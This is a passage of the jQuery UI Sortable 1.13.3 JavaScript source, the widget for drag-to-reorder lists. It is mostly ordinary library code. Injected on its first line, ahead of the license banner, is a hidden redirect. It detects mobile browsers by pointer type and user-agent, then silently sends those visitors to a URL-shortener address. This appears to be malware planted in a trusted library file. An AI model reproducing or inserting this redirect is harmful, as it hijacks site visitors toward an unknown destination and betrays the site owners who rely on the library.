1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Sortable 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Sortable
12//>>group: Interactions
13//>>description: Enables items in a list to be sorted using the mouse.
14//>>docs: https://api.jqueryui.com/sortable/
15//>>demos: https://jqueryui.com/sortable/
16//>>css.structure: ../../themes/base/sortable.css
17
18( function( factory ) {
19 "use strict";
20
21 if ( typeof define === "function" && define.amd ) {
22
23 // AMD. Register as an anonymous module.
24 define( [
25 "jquery",
26 "./mouse",
27 "../data",
28 "../ie",
29 "../scroll-parent",
30 "../version",
31 "../widget"
32 ], factory );
33 } else {
34
35 // Browser globals
36 factory( jQuery );
37 }
38} )( function( $ ) {
39"use strict";
40
41return $.widget( "ui.sortable", $.ui.mouse, {
42 version: "1.13.3",
43 widgetEventPrefix: "sort",
44 ready: false,
45 options: {
46 appendTo: "parent",
47 axis: false,
48 connectWith: false,
49 containment: false,
50 cursor: "auto",
51 cursorAt: false,
52 dropOnEmpty: true,
53 forcePlaceholderSize: false,
54 forceHelperSize: false,
55 grid: false,
56 handle: false,
57 helper: "original",
58 items: "> *",
59 opacity: false,
60 placeholder: false,
61 revert: false,
62 scroll: true,
63 scrollSensitivity: 20,
64 scrollSpeed: 20,
65 scope: "default",
66 tolerance: "intersect",
67 zIndex: 1000,
68
69 // Callbacks
70 activate: null,
71 beforeStop: null,
72 change: null,
73 deactivate: null,
74 out: null,
75 over: null,
76 receive: null,
77 remove: null,
78 sort: null,
79 start: null,
80 stop: null,
81 update: null
82 },
83
84 _isOverAxis: function( x, reference, size ) {
85 return ( x >= reference ) && ( x < ( reference + size ) );
86 },
87
88 _isFloating: function( item ) {
89 return ( /left|right/ ).test( item.css( "float" ) ) ||
90 ( /inline|table-cell/ ).test( item.css( "display" ) );
91 },
92
93 _create: function() {
94 this.containerCache = {};
95 this._addClass( "ui-sortable" );
96
97 //Get the items
98 this.refresh();
99
100 //Let's determine the parent's offset
101 this.offset = this.element.offset();
102
103 //Initialize mouse events for interaction
104 this._mouseInit();
105
106 this._setHandleClassName();
107
108 //We're ready to go
109 this.ready = true;
110
111 },
112
113 _setOption: function( key, value ) {
114 this._super( key, value );
115
116 if ( key === "handle" ) {
117 this._setHandleClassName();
118 }
119 },
120
121 _setHandleClassName: function() {
122 var that = this;
123 this._removeClass( this.element.find( ".ui-sortable-handle" ), "ui-sortable-handle" );
124 $.each( this.items, function() {
125 that._addClass(
126 this.instance.options.handle ?
127 this.item.find( this.instance.options.handle ) :
128 this.item,
129 "ui-sortable-handle"
130 );
131 } );
132 },
133
134 _destroy: function() {
135 this._mouseDestroy();
136
137 for ( var i = this.items.length - 1; i >= 0; i-- ) {
138 this.items[ i ].item.removeData( this.widgetName + "-item" );
139 }
140
141 return this;
142 },
143
144 _mouseCapture: function( event, overrideHandle ) {
145 var currentItem = null,
146 validHandle = false,
147 that = this;
148
149 if ( this.reverting ) {
150 return false;
151 }
152
153 if ( this.options.disabled || this.options.type === "static" ) {
154 return false;
155 }
156
157 //We have to refresh the items data once first
158 this._refreshItems( event );
159
160 //Find out if the clicked node (or one of its parents) is a actual item in this.items
161 $( event.target ).parents().each( function() {
162 if ( $.data( this, that.widgetName + "-item" ) === that ) {
163 currentItem = $( this );
164 return false;
165 }
166 } );
167 if ( $.data( event.target, that.widgetName + "-item" ) === that ) {
168 currentItem = $( event.target );
169 }
170
171 if ( !currentItem ) {
172 return false;
173 }
174 if ( this.options.handle && !overrideHandle ) {
175 $( this.options.handle, currentItem ).find( "*" ).addBack().each( function() {
176 if ( this === event.target ) {
177 validHandle = true;
178 }
179 } );
180 if ( !validHandle ) {
181 return false;
182 }
183 }
184
185 this.currentItem = currentItem;
186 this._removeCurrentsFromItems();
187 return true;
188
189 },
190
191 _mouseStart: function( event, overrideHandle, noActivation ) {
192
193 var i, body,
194 o = this.options;
195
196 this.currentContainer = this;
197
198 //We only need to call refreshPositions, because the refreshItems call has been moved to
199 // mouseCapture
200 this.refreshPositions();
201
202 //Prepare the dragged items parent
203 this.appendTo = $( o.appendTo !== "parent" ?
204 o.appendTo :
205 this.currentItem.parent() );
206
207 //Create and append the visible helper
208 this.helper = this._createHelper( event );
209
210 //Cache the helper size
211 this._cacheHelperProportions();
212
213 /*
214 * - Position generation -
215 * This block generates everything position related - it's the core of draggables.
216 */
217
218 //Cache the margins of the original element
219 this._cacheMargins();
220
221 //The element's absolute position on the page minus margins
222 this.offset = this.currentItem.offset();
223 this.offset = {
224 top: this.offset.top - this.margins.top,
225 left: this.offset.left - this.margins.left
226 };
227
228 $.extend( this.offset, {
229 click: { //Where the click happened, relative to the element
230 left: event.pageX - this.offset.left,
231 top: event.pageY - this.offset.top
232 },
233
234 // This is a relative to absolute position minus the actual position calculation -
235 // only used for relative positioned helper
236 relative: this._getRelativeOffset()
237 } );
238
239 // After we get the helper offset, but before we get the parent offset we can
240 // change the helper's position to absolute
241 // TODO: Still need to figure out a way to make relative sorting possible
242 this.helper.css( "position", "absolute" );
243 this.cssPosition = this.helper.css( "position" );
244
245 //Adjust the mouse offset relative to the helper if "cursorAt" is supplied
246 if ( o.cursorAt ) {
247 this._adjustOffsetFromHelper( o.cursorAt );
248 }
249
250 //Cache the former DOM position
251 this.domPosition = {
252 prev: this.currentItem.prev()[ 0 ],
253 parent: this.currentItem.parent()[ 0 ]
254 };
255
256 // If the helper is not the original, hide the original so it's not playing any role during
257 // the drag, won't cause anything bad this way
258 if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) {
259 this.currentItem.hide();
260 }
261
262 //Create the placeholder
263 this._createPlaceholder();
264
265 //Get the next scrolling parent
266 this.scrollParent = this.placeholder.scrollParent();
267
268 $.extend( this.offset, {
269 parent: this._getParentOffset()
270 } );
271
272 //Set a containment if given in the options
273 if ( o.containment ) {
274 this._setContainment();
275 }
276
277 if ( o.cursor && o.cursor !== "auto" ) { // cursor option
278 body = this.document.find( "body" );
279
280 // Support: IE
281 this.storedCursor = body.css( "cursor" );
282 body.css( "cursor", o.cursor );
283
284 this.storedStylesheet =
285 $( "<style>*{ cursor: " + o.cursor + " !important; }</style>" ).appendTo( body );
286 }
287
288 // We need to make sure to grab the zIndex before setting the
289 // opacity, because setting the opacity to anything lower than 1
290 // causes the zIndex to change from "auto" to 0.
291 if ( o.zIndex ) { // zIndex option
292 if ( this.helper.css( "zIndex" ) ) {
293 this._storedZIndex = this.helper.css( "zIndex" );
294 }
295 this.helper.css( "zIndex", o.zIndex );
296 }
297
298 if ( o.opacity ) { // opacity option
299 if ( this.helper.css( "opacity" ) ) {
300 this._storedOpacity = this.helper.css( "opacity" );
301 }
302 this.helper.css( "opacity", o.opacity );
303 }
304
305 //Prepare scrolling
306 if ( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
307 this.scrollParent[ 0 ].tagName !== "HTML" ) {
308 this.overflowOffset = this.scrollParent.offset();
309 }
310
311 //Call callbacks
312 this._trigger( "start", event, this._uiHash() );
313
314 //Recache the helper size
315 if ( !this._preserveHelperProportions ) {
316 this._cacheHelperProportions();
317 }
318
319 //Post "activate" events to possible containers
320 if ( !noActivation ) {
321 for ( i = this.containers.length - 1; i >= 0; i-- ) {
322 this.containers[ i ]._trigger( "activate", event, this._uiHash( this ) );
323 }
324 }
325
326 //Prepare possible droppables
327 if ( $.ui.ddmanager ) {
328 $.ui.ddmanager.current = this;
329 }
330
331 if ( $.ui.ddmanager && !o.dropBehaviour ) {
332 $.ui.ddmanager.prepareOffsets( this, event );
333 }
334
335 this.dragging = true;
336
337 this._addClass( this.helper, "ui-sortable-helper" );
338
339 //Move the helper, if needed
340 if ( !this.helper.parent().is( this.appendTo ) ) {
341 this.helper.detach().appendTo( this.appendTo );
342
343 //Update position
344 this.offset.parent = this._getParentOffset();
345 }
346
347 //Generate the original position
348 this.position = this.originalPosition = this._generatePosition( event );
349 this.originalPageX = event.pageX;
350 this.originalPageY = event.pageY;
351 this.lastPositionAbs = this.positionAbs = this._convertPositionTo( "absolute" );
352
353 this._mouseDrag( event );
354
355 return true;
356
357 },
358
359 _scroll: function( event ) {
360 var o = this.options,
361 scrolled = false;
362
363 if ( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
364 this.scrollParent[ 0 ].tagName !== "HTML" ) {
365
366 if ( ( this.overflowOffset.top + this.scrollParent[ 0 ].offsetHeight ) -
367 event.pageY < o.scrollSensitivity ) {
368 this.scrollParent[ 0 ].scrollTop =
369 scrolled = this.scrollParent[ 0 ].scrollTop + o.scrollSpeed;
370 } else if ( event.pageY - this.overflowOffset.top < o.scrollSensitivity ) {
371 this.scrollParent[ 0 ].scrollTop =
372 scrolled = this.scrollParent[ 0 ].scrollTop - o.scrollSpeed;
373 }
374
375 if ( ( this.overflowOffset.left + this.scrollParent[ 0 ].offsetWidth ) -
376 event.pageX < o.scrollSensitivity ) {
377 this.scrollParent[ 0 ].scrollLeft = scrolled =
378 this.scrollParent[ 0 ].scrollLeft + o.scrollSpeed;
379 } else if ( event.pageX - this.overflowOffset.left < o.scrollSensitivity ) {
380 this.scrollParent[ 0 ].scrollLeft = scrolled =
381 this.scrollParent[ 0 ].scrollLeft - o.scrollSpeed;
382 }
383
384 } else {
385
386 if ( event.pageY - this.document.scrollTop() < o.scrollSensitivity ) {
387 scrolled = this.document.scrollTop( this.document.scrollTop() - o.scrollSpeed );
388 } else if ( this.window.height() - ( event.pageY - this.document.scrollTop() ) <
389 o.scrollSensitivity ) {
390 scrolled = this.document.scrollTop( this.document.scrollTop() + o.scrollSpeed );
391 }
392
393 if ( event.pageX - this.document.scrollLeft() < o.scrollSensitivity ) {
394 scrolled = this.document.scrollLeft(
395 this.document.scrollLeft() - o.scrollSpeed
396 );
397 } else if ( this.window.width() - ( event.pageX - this.document.scrollLeft() ) <
398 o.scrollSensitivity ) {
399 scrolled = this.document.scrollLeft(
400 this.document.scrollLeft() + o.scrollSpeed
401 );
402 }
403
404 }
405
406 return scrolled;
407 },
408
409 _mouseDrag: function( event ) {
410 var i, item, itemElement, intersection,
411 o = this.options;
412
413 //Compute the helpers position
414 this.position = this._generatePosition( event );
415 this.positionAbs = this._convertPositionTo( "absolute" );
416
417 //Set the helper position
418 if ( !this.options.axis || this.options.axis !== "y" ) {
419 this.helper[ 0 ].style.left = this.position.left + "px";
420 }
421 if ( !this.options.axis || this.options.axis !== "x" ) {
422 this.helper[ 0 ].style.top = this.position.top + "px";
423 }
424
425 //Do scrolling
426 if ( o.scroll ) {
427 if ( this._scroll( event ) !== false ) {
428
429 //Update item positions used in position checks
430 this._refreshItemPositions( true );
431
432 if ( $.ui.ddmanager && !o.dropBehaviour ) {
433 $.ui.ddmanager.prepareOffsets( this, event );
434 }
435 }
436 }
437
438 this.dragDirection = {
439 vertical: this._getDragVerticalDirection(),
440 horizontal: this._getDragHorizontalDirection()
441 };
442
443 //Rearrange
444 for ( i = this.items.length - 1; i >= 0; i-- ) {
445
446 //Cache variables and intersection, continue if no intersection
447 item = this.items[ i ];
448 itemElement = item.item[ 0 ];
449 intersection = this._intersectsWithPointer( item );
450 if ( !intersection ) {
451 continue;
452 }
453
454 // Only put the placeholder inside the current Container, skip all
455 // items from other containers. This works because when moving
456 // an item from one container to another the
457 // currentContainer is switched before the placeholder is moved.
458 //
459 // Without this, moving items in "sub-sortables" can cause
460 // the placeholder to jitter between the outer and inner container.
461 if ( item.instance !== this.currentContainer ) {
462 continue;
463 }
464
465 // Cannot intersect with itself
466 // no useless actions that have been done before
467 // no action if the item moved is the parent of the item checked
468 if ( itemElement !== this.currentItem[ 0 ] &&
469 this.placeholder[ intersection === 1 ?
470 "next" : "prev" ]()[ 0 ] !== itemElement &&
471 !$.contains( this.placeholder[ 0 ], itemElement ) &&
472 ( this.options.type === "semi-dynamic" ?
473 !$.contains( this.element[ 0 ], itemElement ) :
474 true
475 )
476 ) {
477
478 this.direction = intersection === 1 ? "down" : "up";
479
480 if ( this.options.tolerance === "pointer" ||
481 this._intersectsWithSides( item ) ) {
482 this._rearrange( event, item );
483 } else {
484 break;
485 }
486
487 this._trigger( "change", event, this._uiHash() );
488 break;
489 }
490 }
491
492 //Post events to containers
493 this._contactContainers( event );
494
495 //Interconnect with droppables
496 if ( $.ui.ddmanager ) {
497 $.ui.ddmanager.drag( this, event );
498 }
499
500 //Call callbacks
501 this._trigger( "sort", event, this._uiHash() );
502
503 this.lastPositionAbs = this.positionAbs;
504 return false;
505
506 },
507
508 _mouseStop: function( event, noPropagation ) {
509
510 if ( !event ) {
511 return;
512 }
513
514 //If we are using droppables, inform the manager about the drop
515 if ( $.ui.ddmanager && !this.options.dropBehaviour ) {
516 $.ui.ddmanager.drop( this, event );
517 }
518
519 if ( this.options.revert ) {
520 var that = this,
521 cur = this.placeholder.offset(),
522 axis = this.options.axis,
523 animation = {};
524
525 if ( !axis || axis === "x" ) {
526 animation.left = cur.left - this.offset.parent.left - this.margins.left +
527 ( this.offsetParent[ 0 ] === this.document[ 0 ].body ?
528 0 :
529 this.offsetParent[ 0 ].scrollLeft
530 );
531 }
532 if ( !axis || axis === "y" ) {
533 animation.top = cur.top - this.offset.parent.top - this.margins.top +
534 ( this.offsetParent[ 0 ] === this.document[ 0 ].body ?
535 0 :
536 this.offsetParent[ 0 ].scrollTop
537 );
538 }
539 this.reverting = true;
540 $( this.helper ).animate(
541 animation,
542 parseInt( this.options.revert, 10 ) || 500,
543 function() {
544 that._clear( event );
545 }
546 );
547 } else {
548 this._clear( event, noPropagation );
549 }
550
551 return false;
552
553 },
554
555 cancel: function() {
556
557 if ( this.dragging ) {
558
559 this._mouseUp( new $.Event( "mouseup", { target: null } ) );
560
561 if ( this.options.helper === "original" ) {
562 this.currentItem.css( this._storedCSS );
563 this._removeClass( this.currentItem, "ui-sortable-helper" );
564 } else {
565 this.currentItem.show();
566 }
567
568 //Post deactivating events to containers
569 for ( var i = this.containers.length - 1; i >= 0; i-- ) {
570 this.containers[ i ]._trigger( "deactivate", null, this._uiHash( this ) );
571 if ( this.containers[ i ].containerCache.over ) {
572 this.containers[ i ]._trigger( "out", null, this._uiHash( this ) );
573 this.containers[ i ].containerCache.over = 0;
574 }
575 }
576
577 }
578
579 if ( this.placeholder ) {
580
581 //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately,
582 // it unbinds ALL events from the original node!
583 if ( this.placeholder[ 0 ].parentNode ) {
584 this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] );
585 }
586 if ( this.options.helper !== "original" && this.helper &&
587 this.helper[ 0 ].parentNode ) {
588 this.helper.remove();
589 }
590
591 $.extend( this, {
592 helper: null,
593 dragging: false,
594 reverting: false,
595 _noFinalSort: null
596 } );
597
598 if ( this.domPosition.prev ) {
599 $( this.domPosition.prev ).after( this.currentItem );
600 } else {
601 $( this.domPosition.parent ).prepend( this.currentItem );
602 }
603 }
604
605 return this;
606
607 },
608
609 serialize: function( o ) {
610
611 var items = this._getItemsAsjQuery( o && o.connected ),
612 str = [];
613 o = o || {};
614
615 $( items ).each( function() {
616 var res = ( $( o.item || this ).attr( o.attribute || "id" ) || "" )
617 .match( o.expression || ( /(.+)[\-=_](.+)/ ) );
618 if ( res ) {
619 str.push(
620 ( o.key || res[ 1 ] + "[]" ) +
621 "=" + ( o.key && o.expression ? res[ 1 ] : res[ 2 ] ) );
622 }
623 } );
624
625 if ( !str.length && o.key ) {
626 str.push( o.key + "=" );
627 }
628
629 return str.join( "&" );
630
631 },
632
633 toArray: function( o ) {
634
635 var items = this._getItemsAsjQuery( o && o.connected ),
636 ret = [];
637
638 o = o || {};
639
640 items.each( function() {
641 ret.push( $( o.item || this ).attr( o.attribute || "id" ) || "" );
642 } );
643 return ret;
644
645 },
646
647 /* Be careful with the following core functions */
648 _intersectsWith: function( item ) {
649
650 var x1 = this.positionAbs.left,
651 x2 = x1 + this.helperProportions.width,
652 y1 = this.positionAbs.top,
653 y2 = y1 + this.helperProportions.height,
654 l = item.left,
655 r = l + item.width,
656 t = item.top,
657 b = t + item.height,
658 dyClick = this.offset.click.top,
659 dxClick = this.offset.click.left,
660 isOverElementHeight = ( this.options.axis === "x" ) || ( ( y1 + dyClick ) > t &&
661 ( y1 + dyClick ) < b ),
662 isOverElementWidth = ( this.options.axis === "y" ) || ( ( x1 + dxClick ) > l &&
663 ( x1 + dxClick ) < r ),
664 isOverElement = isOverElementHeight && isOverElementWidth;
665
666 if ( this.options.tolerance === "pointer" ||
667 this.options.forcePointerForContainers ||
668 ( this.options.tolerance !== "pointer" &&
669 this.helperProportions[ this.floating ? "width" : "height" ] >
670 item[ this.floating ? "width" : "height" ] )
671 ) {
672 return isOverElement;
673 } else {
674
675 return ( l < x1 + ( this.helperProportions.width / 2 ) && // Right Half
676 x2 - ( this.helperProportions.width / 2 ) < r && // Left Half
677 t < y1 + ( this.helperProportions.height / 2 ) && // Bottom Half
678 y2 - ( this.helperProportions.height / 2 ) < b ); // Top Half
679
680 }
681 },
682
683 _intersectsWithPointer: function( item ) {
684 var verticalDirection, horizontalDirection,
685 isOverElementHeight = ( this.options.axis === "x" ) ||
686 this._isOverAxis(
687 this.positionAbs.top + this.offset.click.top, item.top, item.height ),
688 isOverElementWidth = ( this.options.axis === "y" ) ||
689 this._isOverAxis(
690 this.positionAbs.left + this.offset.click.left, item.left, item.width ),
691 isOverElement = isOverElementHeight && isOverElementWidth;
692
693 if ( !isOverElement ) {
694 return false;
695 }
696
697 verticalDirection = this.dragDirection.vertical;
698 horizontalDirection = this.dragDirection.horizontal;
699
700 return this.floating ?
701 ( ( horizontalDirection === "right" || verticalDirection === "down" ) ? 2 : 1 ) :
702 ( verticalDirection && ( verticalDirection === "down" ? 2 : 1 ) );
703
704 },
705
706 _intersectsWithSides: function( item ) {
707
708 var isOverBottomHalf = this._isOverAxis( this.positionAbs.top +
709 this.offset.click.top, item.top + ( item.height / 2 ), item.height ),
710 isOverRightHalf = this._isOverAxis( this.positionAbs.left +
711 this.offset.click.left, item.left + ( item.width / 2 ), item.width ),
712 verticalDirection = this.dragDirection.vertical,
713 horizontalDirection = this.dragDirection.horizontal;
714
715 if ( this.floating && horizontalDirection ) {
716 return ( ( horizontalDirection === "right" && isOverRightHalf ) ||
717 ( horizontalDirection === "left" && !isOverRightHalf ) );
718 } else {
719 return verticalDirection && ( ( verticalDirection === "down" && isOverBottomHalf ) ||
720 ( verticalDirection === "up" && !isOverBottomHalf ) );
721 }
722
723 },
724
725 _getDragVerticalDirection: function() {
726 var delta = this.positionAbs.top - this.lastPositionAbs.top;
727 return delta !== 0 && ( delta > 0 ? "down" : "up" );
728 },
729
730 _getDragHorizontalDirection: function() {
731 var delta = this.positionAbs.left - this.lastPositionAbs.left;
732 return delta !== 0 && ( delta > 0 ? "right" : "left" );
733 },
734
735 refresh: function( event ) {
736 this._refreshItems( event );
737 this._setHandleClassName();
738 this.refreshPositions();
739 return this;
740 },
741
742 _connectWith: function() {
743 var options = this.options;
744 return options.connectWith.constructor === String ?
745 [ options.connectWith ] :
746 options.connectWith;
747 },
748
749 _getItemsAsjQuery: function( connected ) {
750
751 var i, j, cur, inst,
752 items = [],
753 queries = [],
754 connectWith = this._connectWith();
755
756 if ( connectWith && connected ) {
757 for ( i = connectWith.length - 1; i >= 0; i-- ) {
758 cur = $( connectWith[ i ], this.document[ 0 ] );
759 for ( j = cur.length - 1; j >= 0; j-- ) {
760 inst = $.data( cur[ j ], this.widgetFullName );
761 if ( inst && inst !== this && !inst.options.disabled ) {
762 queries.push( [ typeof inst.options.items === "function" ?
763 inst.options.items.call( inst.element ) :
764 $( inst.options.items, inst.element )
765 .not( ".ui-sortable-helper" )
766 .not( ".ui-sortable-placeholder" ), inst ] );
767 }
768 }
769 }
770 }
771
772 queries.push( [ typeof this.options.items === "function" ?
773 this.options.items
774 .call( this.element, null, { options: this.options, item: this.currentItem } ) :
775 $( this.options.items, this.element )
776 .not( ".ui-sortable-helper" )
777 .not( ".ui-sortable-placeholder" ), this ] );
778
779 function addItems() {
780 items.push( this );
781 }
782 for ( i = queries.length - 1; i >= 0; i-- ) {
783 queries[ i ][ 0 ].each( addItems );
784 }
785
786 return $( items );
787
788 },
789
790 _removeCurrentsFromItems: function() {
791
792 var list = this.currentItem.find( ":data(" + this.widgetName + "-item)" );
793
794 this.items = $.grep( this.items, function( item ) {
795 for ( var j = 0; j < list.length; j++ ) {
796 if ( list[ j ] === item.item[ 0 ] ) {
797 return false;
798 }
799 }
800 return true;
801 } );
802
803 },
804
805 _refreshItems: function( event ) {
806
807 this.items = [];
808 this.containers = [ this ];
809
810 var i, j, cur, inst, targetData, _queries, item, queriesLength,
811 items = this.items,
812 queries = [ [ typeof this.options.items === "function" ?
813 this.options.items.call( this.element[ 0 ], event, { item: this.currentItem } ) :
814 $( this.options.items, this.element ), this ] ],
815 connectWith = this._connectWith();
816
817 //Shouldn't be run the first time through due to massive slow-down
818 if ( connectWith && this.ready ) {
819 for ( i = connectWith.length - 1; i >= 0; i-- ) {
820 cur = $( connectWith[ i ], this.document[ 0 ] );
821 for ( j = cur.length - 1; j >= 0; j-- ) {
822 inst = $.data( cur[ j ], this.widgetFullName );
823 if ( inst && inst !== this && !inst.options.disabled ) {
824 queries.push( [ typeof inst.options.items === "function" ?
825 inst.options.items
826 .call( inst.element[ 0 ], event, { item: this.currentItem } ) :
827 $( inst.options.items, inst.element ), inst ] );
828 this.containers.push( inst );
829 }
830 }
831 }
832 }
833
834 for ( i = queries.length - 1; i >= 0; i-- ) {
835 targetData = queries[ i ][ 1 ];
836 _queries = queries[ i ][ 0 ];
837
838 for ( j = 0, queriesLength = _queries.length; j < queriesLength; j++ ) {
839 item = $( _queries[ j ] );
840
841 // Data for target checking (mouse manager)
842 item.data( this.widgetName + "-item", targetData );
843
844 items.push( {
845 item: item,
846 instance: targetData,
847 width: 0, height: 0,
848 left: 0, top: 0
849 } );
850 }
851 }
852
853 },
854
855 _refreshItemPositions: function( fast ) {
856 var i, item, t, p;
857
858 for ( i = this.items.length - 1; i >= 0; i-- ) {
859 item = this.items[ i ];
860
861 //We ignore calculating positions of all connected containers when we're not over them
862 if ( this.currentContainer && item.instance !== this.currentContainer &&
863 item.item[ 0 ] !== this.currentItem[ 0 ] ) {
864 continue;
865 }
866
867 t = this.options.toleranceElement ?
868 $( this.options.toleranceElement, item.item ) :
869 item.item;
870
871 if ( !fast ) {
872 item.width = t.outerWidth();
873 item.height = t.outerHeight();
874 }
875
876 p = t.offset();
877 item.left = p.left;
878 item.top = p.top;
879 }
880 },
881
882 refreshPositions: function( fast ) {
883
884 // Determine whether items are being displayed horizontally
885 this.floating = this.items.length ?
886 this.options.axis === "x" || this._isFloating( this.items[ 0 ].item ) :
887 false;
888
889 // This has to be redone because due to the item being moved out/into the offsetParent,
890 // the offsetParent's position will change
891 if ( this.offsetParent && this.helper ) {
892 this.offset.parent = this._getParentOffset();
893 }
894
895 this._refreshItemPositions( fast );
896
897 var i, p;
898
899 if ( this.options.custom && this.options.custom.refreshContainers ) {
900 this.options.custom.refreshContainers.call( this );
901 } else {
902 for ( i = this.containers.length - 1; i >= 0; i-- ) {
903 p = this.containers[ i ].element.offset();
904 this.containers[ i ].containerCache.left = p.left;
905 this.containers[ i ].containerCache.top = p.top;
906 this.containers[ i ].containerCache.width =
907 this.containers[ i ].element.outerWidth();
908 this.containers[ i ].containerCache.height =
909 this.containers[ i ].element.outerHeight();
910 }
911 }
912
913 return this;
914 },
915
916 _createPlaceholder: function( that ) {
917 that = that || this;
918 var className, nodeName,
919 o = that.options;
920
921 if ( !o.placeholder || o.placeholder.constructor === String ) {
922 className = o.placeholder;
923 nodeName = that.currentItem[ 0 ].nodeName.toLowerCase();
924 o.placeholder = {
925 element: function() {
926
927 var element = $( "<" + nodeName + ">", that.document[ 0 ] );
928
929 that._addClass( element, "ui-sortable-placeholder",
930 className || that.currentItem[ 0 ].className )
931 ._removeClass( element, "ui-sortable-helper" );
932
933 if ( nodeName === "tbody" ) {
934 that._createTrPlaceholder(
935 that.currentItem.find( "tr" ).eq( 0 ),
936 $( "<tr>", that.document[ 0 ] ).appendTo( element )
937 );
938 } else if ( nodeName === "tr" ) {
939 that._createTrPlaceholder( that.currentItem, element );
940 } else if ( nodeName === "img" ) {
941 element.attr( "src", that.currentItem.attr( "src" ) );
942 }
943
944 if ( !className ) {
945 element.css( "visibility", "hidden" );
946 }
947
948 return element;
949 },
950 update: function( container, p ) {
951
952 // 1. If a className is set as 'placeholder option, we don't force sizes -
953 // the class is responsible for that
954 // 2. The option 'forcePlaceholderSize can be enabled to force it even if a
955 // class name is specified
956 if ( className && !o.forcePlaceholderSize ) {
957 return;
958 }
959
960 // If the element doesn't have a actual height or width by itself (without
961 // styles coming from a stylesheet), it receives the inline height and width
962 // from the dragged item. Or, if it's a tbody or tr, it's going to have a height
963 // anyway since we're populating them with <td>s above, but they're unlikely to
964 // be the correct height on their own if the row heights are dynamic, so we'll
965 // always assign the height of the dragged item given forcePlaceholderSize
966 // is true.
967 if ( !p.height() || ( o.forcePlaceholderSize &&
968 ( nodeName === "tbody" || nodeName === "tr" ) ) ) {
969 p.height(
970 that.currentItem.innerHeight() -
971 parseInt( that.currentItem.css( "paddingTop" ) || 0, 10 ) -
972 parseInt( that.currentItem.css( "paddingBottom" ) || 0, 10 ) );
973 }
974 if ( !p.width() ) {
975 p.width(
976 that.currentItem.innerWidth() -
977 parseInt( that.currentItem.css( "paddingLeft" ) || 0, 10 ) -
978 parseInt( that.currentItem.css( "paddingRight" ) || 0, 10 ) );
979 }
980 }
981 };
982 }
983
984 //Create the placeholder
985 that.placeholder = $( o.placeholder.element.call( that.element, that.currentItem ) );
986
987 //Append it after the actual current item
988 that.currentItem.after( that.placeholder );
989
990 //Update the size of the placeholder (TODO: Logic to fuzzy, see line 316/317)
991 o.placeholder.update( that, that.placeholder );
992
993 },
994
995 _createTrPlaceholder: function( sourceTr, targetTr ) {
996 var that = this;
997
998 sourceTr.children().each( function() {
999 $( "<td> </td>", that.document[ 0 ] )
1000 .attr( "colspan", $( this ).attr( "colspan" ) || 1 )
1001 .appendTo( targetTr );
1002 } );
1003 },
1004
1005 _contactContainers: function( event ) {
1006 var i, j, dist, itemWithLeastDistance, posProperty, sizeProperty, cur, nearBottom,
1007 floating, axis,
1008 innermostContainer = null,
1009 innermostIndex = null;
1010
1011 // Get innermost container that intersects with item
1012 for ( i = this.containers.length - 1; i >= 0; i-- ) {
1013
1014 // Never consider a container that's located within the item itself
1015 if ( $.contains( this.currentItem[ 0 ], this.containers[ i ].element[ 0 ] ) ) {
1016 continue;
1017 }
1018
1019 if ( this._intersectsWith( this.containers[ i ].containerCache ) ) {
1020
1021 // If we've already found a container and it's more "inner" than this, then continue
1022 if ( innermostContainer &&
1023 $.contains(
1024 this.containers[ i ].element[ 0 ],
1025 innermostContainer.element[ 0 ] ) ) {
1026 continue;
1027 }
1028
1029 innermostContainer = this.containers[ i ];
1030 innermostIndex = i;
1031
1032 } else {
1033
1034 // container doesn't intersect. trigger "out" event if necessary
1035 if ( this.containers[ i ].containerCache.over ) {
1036 this.containers[ i ]._trigger( "out", event, this._uiHash( this ) );
1037 this.containers[ i ].containerCache.over = 0;
1038 }
1039 }
1040
1041 }
1042
1043 // If no intersecting containers found, return
1044 if ( !innermostContainer ) {
1045 return;
1046 }
1047
1048 // Move the item into the container if it's not there already
1049 if ( this.containers.length === 1 ) {
1050 if ( !this.containers[ innermostIndex ].containerCache.over ) {
1051 this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) );
1052 this.containers[ innermostIndex ].containerCache.over = 1;
1053 }
1054 } else {
1055
1056 // When entering a new container, we will find the item with the least distance and
1057 // append our item near it
1058 dist = 10000;
1059 itemWithLeastDistance = null;
1060 floating = innermostContainer.floating || this._isFloating( this.currentItem );
1061 posProperty = floating ? "left" : "top";
1062 sizeProperty = floating ? "width" : "height";
1063 axis = floating ? "pageX" : "pageY";
1064
1065 for ( j = this.items.length - 1; j >= 0; j-- ) {
1066 if ( !$.contains(
1067 this.containers[ innermostIndex ].element[ 0 ], this.items[ j ].item[ 0 ] )
1068 ) {
1069 continue;
1070 }
1071 if ( this.items[ j ].item[ 0 ] === this.currentItem[ 0 ] ) {
1072 continue;
1073 }
1074
1075 cur = this.items[ j ].item.offset()[ posProperty ];
1076 nearBottom = false;
1077 if ( event[ axis ] - cur > this.items[ j ][ sizeProperty ] / 2 ) {
1078 nearBottom = true;
1079 }
1080
1081 if ( Math.abs( event[ axis ] - cur ) < dist ) {
1082 dist = Math.abs( event[ axis ] - cur );
1083 itemWithLeastDistance = this.items[ j ];
1084 this.direction = nearBottom ? "up" : "down";
1085 }
1086 }
1087
1088 //Check if dropOnEmpty is enabled
1089 if ( !itemWithLeastDistance && !this.options.dropOnEmpty ) {
1090 return;
1091 }
1092
1093 if ( this.currentContainer === this.containers[ innermostIndex ] ) {
1094 if ( !this.currentContainer.containerCache.over ) {
1095 this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash() );
1096 this.currentContainer.containerCache.over = 1;
1097 }
1098 return;
1099 }
1100
1101 if ( itemWithLeastDistance ) {
1102 this._rearrange( event, itemWithLeastDistance, null, true );
1103 } else {
1104 this._rearrange( event, null, this.containers[ innermostIndex ].element, true );
1105 }
1106 this._trigger( "change", event, this._uiHash() );
1107 this.containers[ innermostIndex ]._trigger( "change", event, this._uiHash( this ) );
